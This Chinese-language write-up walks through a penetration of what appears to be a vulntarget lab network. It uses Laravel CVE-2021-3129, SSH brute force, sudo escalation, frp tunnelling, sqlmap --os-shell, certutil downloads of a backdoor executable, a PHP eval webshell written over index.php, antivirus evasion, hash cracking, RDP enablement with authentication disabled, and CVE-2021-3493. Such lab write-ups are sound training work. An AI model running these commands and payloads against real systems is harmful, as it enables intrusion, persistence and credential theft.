一次简单的内网渗透
项目拓扑
此项目存在Laravel 命令执行漏洞、OVAS PHP SQL注入漏洞、linux提权、免杀过windows自带杀毒软件。
外网打点
端口扫描
CVE-2021-3129
访问80端口
CVE-2021-3129: https://www.cnblogs.com/simonlee-hello/p/14779743.html
git clone https://github.com/SNCKER/CVE-2021-3129.git
cd CVE-2021-3129
exp运行需要如下工具,下载
git clone https://github.com/ambionics/phpggc.git
修改exploit.py
文件,这里我不想每次直接命令修改py文件,所以直接添加一个命令行获取参数。
发现漏洞存在
尝试直接反弹shell,但是报错了
查看/etc/passwd文件,发现存在vulntarget用户
这里发现root和vulntarget用户都可以进行ssh远程登陆,所以线尝试爆破一下弱口令。
hydra -L user.txt -P /root/Desktop/webinfo/top500.txt ssh://192.168.40.139 -t 4
sudo提权
sudo -l
查看当前用户权限,发现当前用户可以使用sudo来执行root权限命令。
使用sudo提权获取到root权限的会话
内网渗透
查看当前IP地址,发现存在10.0.20.0网段的地址
设置路由
frp搭建socks5隧道(这里也尝试使用msfconsole的socks5代理模块,但是超时太严重了,sqlmap跑不了一点。)
[common]
bind_addr = 127.0.0.1
[common]
server_addr = 192.168.40.129
server_port = 7000
[socks5_proxy]
type = tcp
remote_port = 1081
plugin = socks5
显示如下信息,证明隧道搭建成功。
使用fscan禁ping探测存活主机,发现10.0.20.100地址存活,并且只开放了80和443端口
OVAS PHP SQL注入
访问80端口,点击登陆,发现没有验证码,尝试爆破。
admin/admin123
点击Inquiries,点击Action,然后点击view抓包
输入单引号,发现爆出网站完整路径。
proxychains4 sqlmap -u http://10.0.20.100/admin/inquiries/view_details.php?id=1 --batch
成功获取到shell会话,并且还是SYSTEM权限。
proxychains4 sqlmap -u http://10.0.20.100/admin/inquiries/view_details.php?id=1 --cookie="PHPSESSID=g9flaopfnkfrhhca1h7vhpve7r" --os-shell --batch
生成反向后门上传到跳板机。
# 这里设置监听需要设置全局代理
setg Proxies socks5:127.0.0.1:1081
set ReverseAllowProxy true # 允许反向连接
然后下载到10.0.20.100这台服务器,执行发现获取不到shell。
certutil -urlcache -split -f http://10.0.20.141/r1.exe C:\r1.exe
sqlmap获取的os-shell执行命令显示乱码,准备上传自己的一句话木马。
找了几种办法,都不能getshell,直接上传一句话木马不能正常连接,需要替换index.php文件才可以连接到。
使用windows自带命令下载替换(失败)
certutil -urlcache -split -f http://192.168.40.129/index.php index.php
最后只能使用如下办法替换index.php
echo ^<^?php $a = $_REQUEST['d'];$a = "$a";$b['test'] = "";eval($b['test']."$a");?^>^ > index.php
蚁剑连接:http://10.0.20.100/admin/?page=inquiries
tasklist
命令将输出的信息复制到杀软识别网站。
当前系统存在微软的杀毒软件。
并且是windows server 2016
,那这里上传一般的后门估计会被杀掉,所以做一下免杀。
这里成功获取到会话,但是容易断,赶紧迁移进程。
OK,这下稳定多了。
查看IP地址,发现存在10.0.10.0网段。
添加路由
继续上fscan扫10.0.10.0网段的存活地址。(只扫出来一个22端口,有点怀疑这个工具,用nmap再扫一遍,还是一样的结果,好吧,我认了。。。)
使用nmap再扫一遍
尝试代理ssh远程连接,失败了。
这里抓取明文,但是没有抓到(这里使用我上一篇文章dump+mimikatz应该可以抓取到明文密码)
将Administrator的hash保存到hash.txt文件
使用john解密,成功获取到密码:Admin#123
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
关闭windows远程桌面连接用户身份验证。
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
windows本地设置代理。
远程桌面连接10.0.20.100
发现桌面存在terminal软件
点击可以直接连接ubuntu 16
CVE-2021-3493: https://blog.csdn.net/gh0stf1re/article/details/116193906
CVE-2021-3493-EXP: https://github.com/briskets/CVE-2021-3493
尝试直接在ubuntu 16上新建exploit.c文件,然后直接编译,但是没有安装gcc,只能作罢。
这里要先进行压缩,否则上传到windows server 2016就被杀掉了。
先上传到windows server 2016那台服务器上,然后就通过terminal上传到ubuntu 16
这里执行不成功是因为我的kali版本太高,从而gcc的版本太高。
然后我使用centos 7重新编译,上传之后。
成功提权,获取到root权限。